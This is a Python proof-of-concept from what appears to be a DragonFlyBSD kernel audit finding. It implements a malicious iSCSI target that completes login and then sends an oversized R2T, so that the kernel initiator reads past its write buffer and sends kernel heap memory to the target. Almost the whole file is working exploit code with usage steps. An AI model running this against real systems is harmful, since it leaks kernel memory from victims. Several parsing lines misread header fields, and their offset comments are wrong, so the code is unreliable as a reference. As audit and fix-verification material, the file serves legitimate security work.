DragonFlyBSD Kernel Audit
DF-1870 / evil_target.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
evil_target.py -- minimal evil iSCSI target that completes Login then sends
                  a malicious R2T with ddtl far exceeding the WRITE buffer.

This exercises the iscsi_r2t() bounds check in the kernel:
  - unfixed module: kernel walks past csio->data_ptr -> OOB read into the network
  - fixed module:   bounds check rejects the R2T, xdebug prints "bad R2T"

Usage on the guest (root):
   python3 evil_target.py 127.0.0.1 13260 > target.log 2>&1 &
   iscontrol -dv -t 0 -c /dev/stdin <<EOF
targetaddress=127.0.0.1
targetport=13260
EOF
"""

import socket, struct, sys, time, binascii

LISTEN_HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
LISTEN_PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 13260

# iSCSI opcodes
ISCSI_OP_LOGIN_REQ   = 0x03
ISCSI_OP_LOGIN_RSP   = 0x23
ISCSI_OP_SCSI_CMD    = 0x01
ISCSI_OP_SCSI_RSP    = 0x21
ISCSI_OP_R2T         = 0x31
ISCSI_OP_DATA_OUT    = 0x05

# Login response status classes
STATUS_SUCCESS       = 0

def bhs_unpack(b):
    # 48-byte BHS as a struct
    return struct.unpack("!BBBBIIIIIIII", b)

def make_login_rsp(transit=1, csg=2, nsg=3, status=0, isid=0, tsih=1,
                   itt=0xffffffff, cmd_sn=0, exp_cmd_sn=1, max_cmd_sn=1,
                   data_seg=b""):
    # opcode 0x23, flags T|CSG|NSG in byte 1
    flags = (transit << 7) | ((csg & 0x3) << 2) | (nsg & 0x3) if transit else ((csg & 0x3) << 2) | (nsg & 0x3)
    # version-max/min: 0, version-active: 0
    b = bytearray(48)
    b[0] = ISCSI_OP_LOGIN_RSP
    b[1] = flags
    # bytes 2-3: version max=0, active=0
    # bytes 4-7: total AHS len (0) + data segment len in top 3 bytes
    dsl = len(data_seg)
    b[5] = 0
    b[6] = (dsl >> 8) & 0xff
    b[7] = dsl & 0xff
    # bytes 8-13: ISID (6 bytes) -- echo whatever the initiator sent, or use 0
    b[8:14] = struct.pack("!Q", isid)[2:]
    # bytes 14-15: TSIH
    struct.pack_into("!H", b, 14, tsih)
    # bytes 16-19: itt
    struct.pack_into("!I", b, 16, itt)
    # bytes 20-23: reserved
    # bytes 24-27: statsn
    struct.pack_into("!I", b, 24, 1)
    # bytes 28-31: exp cmd sn
    struct.pack_into("!I", b, 28, exp_cmd_sn)
    # bytes 32-35: max cmd sn
    struct.pack_into("!I", b, 32, max_cmd_sn)
    # bytes 36-39: reserved
    # bytes 40-43: status-class (low 8) | status-detail (next 8)
    struct.pack_into("!I", b, 40, status)
    return bytes(b) + data_seg

def make_r2t(lun, itt, ttt, r2tsn, bo, ddtl):
    b = bytearray(48)
    b[0] = ISCSI_OP_R2T | 0x80  # F bit set
    # bytes 1-3 reserved
    # bytes 4-7: ahs=0, dsl=0
    # bytes 8-15: LUN (8 bytes)
    struct.pack_into("!Q", b, 8, lun)
    # bytes 16-19: itt
    struct.pack_into("!I", b, 16, itt)
    # bytes 20-23: ttt
    struct.pack_into("!I", b, 20, ttt)
    # bytes 24-27: r2tSN
    struct.pack_into("!I", b, 24, r2tsn)
    # bytes 28-31: StatSN (we use a constant)
    struct.pack_into("!I", b, 28, 1)
    # bytes 32-35: ExpCmdSN
    struct.pack_into("!I", b, 32, 1)
    # bytes 36-39: MaxCmdSN
    struct.pack_into("!I", b, 36, 0xffff)
    # bytes 40-43: bo (Buffer Offset)
    struct.pack_into("!I", b, 40, bo)
    # bytes 44-47: ddtl (Desired Data Transfer Length)
    struct.pack_into("!I", b, 44, ddtl)
    return bytes(b)

def make_scsi_rsp(itt, status=0):
    b = bytearray(48)
    b[0] = ISCSI_OP_SCSI_RSP | 0x80
    struct.pack_into("!I", b, 16, itt)
    struct.pack_into("!I", b, 24, 1)  # statsn
    struct.pack_into("!I", b, 28, 1)  # expcmdsn
    struct.pack_into("!I", b, 32, 0xffff)  # maxcmdsn
    # status byte at offset 35
    b[35] = status
    return bytes(b)

def recv_exactly(conn, n):
    buf = b""
    while len(buf) < n:
        chunk = conn.recv(n - len(buf))
        if not chunk:
            return None
        buf += chunk
    return buf

def handle_login(conn, init_bhs):
    # init_bhs[0] = opcode|T-bit (low 6 bits is opcode)
    opcode = init_bhs[0] & 0x3f
    print(f"[i] got Login Request opcode=0x{opcode:02x} flags=0x{init_bhs[1]:02x}")
    # extract data segment length (low 3 bytes of init_bhs[5] as u32 from bytes 5-7)
    dsl = (init_bhs[5] << 16) | (init_bhs[6] << 8) | init_bhs[7]
    print(f"[i] login data-segment length = {dsl}")
    if dsl:
        # padding to 4-byte boundary
        pad = (-dsl) & 3
        ds = recv_exactly(conn, dsl + pad)
        if ds:
            print(f"[i] login text keys: {ds[:dsl]!r}")
    # Reply: success, transit to full-feature phase
    rsp = make_login_rsp(transit=1, csg=2, nsg=3, status=0,
                         isid=0, tsih=0x1234, itt=0xffffffff,
                         exp_cmd_sn=1, max_cmd_sn=0xffff,
                         data_seg=b"TargetPortalGroupTag=1\x00MaxRecvDataSegmentLength=65536\x00")
    conn.sendall(rsp)
    print("[i] sent Login Response (Success, T-bit, FF phase)")
    return True

def handle_scsi_cmd(conn, bhs):
    # opcode in low 6 bits; flag byte (with W bit) at bhs[1]
    opcode = bhs[0] & 0x3f
    flags  = bhs[1]
    W = (flags >> 7) & 1
    itt = bhs[4]  # we packed as 12xI; itt is index 4 (bytes 16-19)
    edtlen = bhs[5]  # bytes 20-23 = edtlen
    lun_lo = bhs[2]  # bytes 8-11 = LUN low
    print(f"[i] got SCSI CMD opcode=0x{opcode:02x} W={W} itt=0x{itt:08x} edtlen={edtlen}")
    if W:
        # Send a malicious R2T asking for WAY more data than edtlen
        r2tsn = 0
        bo    = 0
        ddtl  = 0x100000  # 1 MiB -- far larger than any reasonable edtlen
        print(f"[!] sending malicious R2T: bo={bo} ddtl={ddtl} (vs edtlen={edtlen})")
        r2t = make_r2t(lun=lun_lo, itt=itt, ttt=0xdead,
                       r2tsn=r2tsn, bo=bo, ddtl=ddtl)
        conn.sendall(r2t)
        print("[i] R2T sent; collecting Data-Out PDUs for a few seconds...")
        deadline = time.time() + 8
        n_pdus = 0
        leaked_total = 0
        sample_bytes = b""
        while time.time() < deadline:
            conn.settimeout(2.0)
            try:
                hdr = recv_exactly(conn, 48)
            except socket.timeout:
                break
            if not hdr:
                break
            data_out_bhs = struct.unpack("!BBBBIIIIIIII", hdr)
            ds_len = (data_out_bhs[5] << 16) | (data_out_bhs[6] << 8) | data_out_bhs[7]
            pad = (-ds_len) & 3
            payload = b""
            if ds_len:
                payload = recv_exactly(conn, ds_len + pad) or b""
                payload = payload[:ds_len]
            n_pdus += 1
            leaked_total += ds_len
            if len(sample_bytes) < 64:
                sample_bytes += payload[:64-len(sample_bytes)]
            print(f"[i] Data-Out #{n_pdus}: ds_len={ds_len} "
                  f"first16={binascii.hexlify(payload[:16]).decode()}")
        print(f"[!] received {n_pdus} Data-Out PDUs, total bytes shipped by initiator: {leaked_total}")
        if leaked_total > edtlen:
            print(f"[!!!] OOB READ CONFIRMED: target received {leaked_total} bytes "
                  f"but the write buffer was only {edtlen} bytes "
                  f"(={leaked_total - edtlen} bytes of kernel heap leaked)")
        # send a SCSI response (status=0) to free the itt
        conn.sendall(make_scsi_rsp(itt, status=0))
    else:
        # non-write: send SCSI response immediately
        conn.sendall(make_scsi_rsp(itt, status=0))

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((LISTEN_HOST, LISTEN_PORT))
    s.listen(1)
    print(f"[+] evil iSCSI target listening on {LISTEN_HOST}:{LISTEN_PORT}")
    while True:
        conn, addr = s.accept()
        print(f"[+] connection from {addr}")
        try:
            # Phase 1: read login request
            hdr = recv_exactly(conn, 48)
            if not hdr:
                continue
            bhs = struct.unpack("!BBBBIIIIIIII", hdr)
            opcode = bhs[0] & 0x3f
            if opcode == ISCSI_OP_LOGIN_REQ:
                handle_login(conn, bhs)
            else:
                print(f"[?] expected Login, got opcode 0x{opcode:02x}")
                conn.close()
                continue
            # Full-feature phase loop
            while True:
                conn.settimeout(15)
                hdr = recv_exactly(conn, 48)
                if not hdr:
                    break
                bhs = struct.unpack("!BBBBIIIIIIII", hdr)
                opcode = bhs[0] & 0x3f
                if opcode == ISCSI_OP_SCSI_CMD:
                    handle_scsi_cmd(conn, bhs)
                elif opcode == 0x0e:  # Snack
                    print("[i] got Snack, ignoring")
                elif opcode == 0x00:  # NOP-Out
                    print("[i] got NOP-Out, ignoring")
                    # consume any data segment
                    dsl = (bhs[5] << 16) | (bhs[6] << 8) | bhs[7]
                    if dsl:
                        recv_exactly(conn, dsl + (((-dsl) & 3)))
                else:
                    print(f"[?] opcode 0x{opcode:02x}; closing")
                    break
        except Exception as e:
            print(f"[!] error: {e}")
        finally:
            conn.close()
            print("[+] connection closed")

if __name__ == "__main__":
    main()